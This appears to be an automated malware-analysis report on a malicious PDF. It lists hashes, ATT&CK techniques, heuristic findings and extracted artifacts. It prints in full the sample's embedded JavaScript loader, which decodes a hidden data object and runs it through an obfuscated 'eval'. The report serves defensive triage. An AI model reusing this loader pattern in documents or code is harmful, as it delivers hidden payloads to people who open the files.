PDF malware analysis — malicious · 879e0894ee1c7fb3

MALICIOUS

PDF

5.9 KB First seen: 2013-08-03

MD5: 4e794c5854401dfa3e77e7d58e87e59c SHA-1: 345555cb8a070c40eb7ec624e2634b1543149b6c SHA-256: 879e0894ee1c7fb3a0df2f22159ea0ec52c07306dea4e497835e9247c48024b3

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains embedded JavaScript that decodes a string from an embedded data object, which is then executed. This JavaScript is likely responsible for extracting and executing the contents of the embedded file, which is a common technique for delivering second-stage payloads. The ML classifier strongly indicates maliciousness, and the malformed stream length heuristic suggests an exploit attempt.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x428	149220 bytes
SHA-256: `c8b71d587d6f4c225d62a2a2886cd8e54bbafe6dbdd0fde47a9440856c5bf18a`
Detection ClamAV: No threats found Obfuscation or payload: likely 323 of 323 identifiers look randomly generated (e.g. 'dhteVxPMRAsg05Vp11dhteVxPMRAsg05Vp12dhte') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1CC	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

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